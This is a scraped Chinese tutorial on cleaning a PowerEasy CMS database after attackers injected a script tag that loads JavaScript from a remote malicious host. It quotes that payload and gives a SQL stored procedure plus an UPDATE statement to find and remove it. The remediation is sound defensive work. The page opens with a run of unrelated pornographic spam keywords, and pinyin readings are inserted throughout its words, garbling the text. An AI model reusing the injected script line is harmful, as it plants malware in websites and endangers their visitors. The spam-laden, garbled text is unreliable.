日韩天天综合网_野战两个奶头被亲到高潮_亚洲日韩欧美精品综合_av女人天堂污污污_视频一区**字幕无弹窗_国产亚洲欧美小视频_国内性爱精品在线免费视频_国产一级电影在线播放_日韩欧美内地福利_亚洲一二三不卡片区

解析【木馬】手動(dòng)刪除動(dòng)易數(shù)據(jù)庫(kù)被注入JS代碼的方法_動(dòng)易Cms教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!

問題:動(dòng)易數(shù)據(jù)庫(kù)連續(xù)幾天被注入JS代碼,那么可不可以直接從數(shù)據(jù)庫(kù)著手進(jìn)行清除木馬代碼操作呢?

數(shù)據(jù)庫(kù)被注入的代碼是:"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--

 

解決:發(fā)現(xiàn)在PE_CLASS表中的tips、Meta_Keywords、Meta_Description、LinkUrl字段存在注入的JS,表太多,一個(gè)一個(gè)去查,是比較費(fèi)時(shí)費(fèi)力的,那么我們可以通過一個(gè)全庫(kù)搜索的方法,建立一個(gè)存儲(chǔ)過程

create   proc   p_search  
  @str   Nvarchar(1000)   --要搜索的字符串  
  as  
  if   @str=''   return  
   
  declare   @s   Nvarchar(4000)  
  create   table   #t(表名   sysname,字段名   sysname)  
   
  declare   tb   cursor   local   for  
  select   s='if   exists(select   1   from   ['+replace(b.name,']',']]')+']   where   ['+a.name+']   like   N''%'+@str+'%'')  
  print   ''所在的表及字段:   ['+b.name+'].['+a.name+']'''  
  from   syscolumns   a   join   sysobjects   b   on   a.id=b.id  
  where   b.xtype='U'   and   a.status>=0  
  and   a.xtype   in(175,239,99,35,231,167)  
  open   tb  
  fetch   next   from   tb   into   @s  
  while   @@fetch_status=0  
  begin  
  exec(@s)  
  fetch   next   from   tb   into   @s  
  end  
  close   tb  
  deallocate   tb
GO


執(zhí)行:p_search '"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'

找到被注入的表及字段,執(zhí)行恢復(fù)操作,下面是一個(gè)例子

UPDATE PE_Class SET Tips= Replace(Tips,'"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--','')
 
注意:以上雖然能較方便的處理木馬代碼,但我們?nèi)砸獙?duì)網(wǎng)站文件進(jìn)行清查工作,不然網(wǎng)站是會(huì)反復(fù)中木馬的,特別是對(duì)于有生成靜態(tài)頁(yè)面的網(wǎng)站,我們要重新生成下網(wǎng)站頁(yè)面,以正常的生成頁(yè)面覆蓋現(xiàn)有木馬代碼的頁(yè)面
 

查看更多 動(dòng)易Cms教程  動(dòng)易Cms模板

來源:模板無憂//所屬分類:動(dòng)易Cms教程/更新時(shí)間:2009-06-22
相關(guān)動(dòng)易Cms教程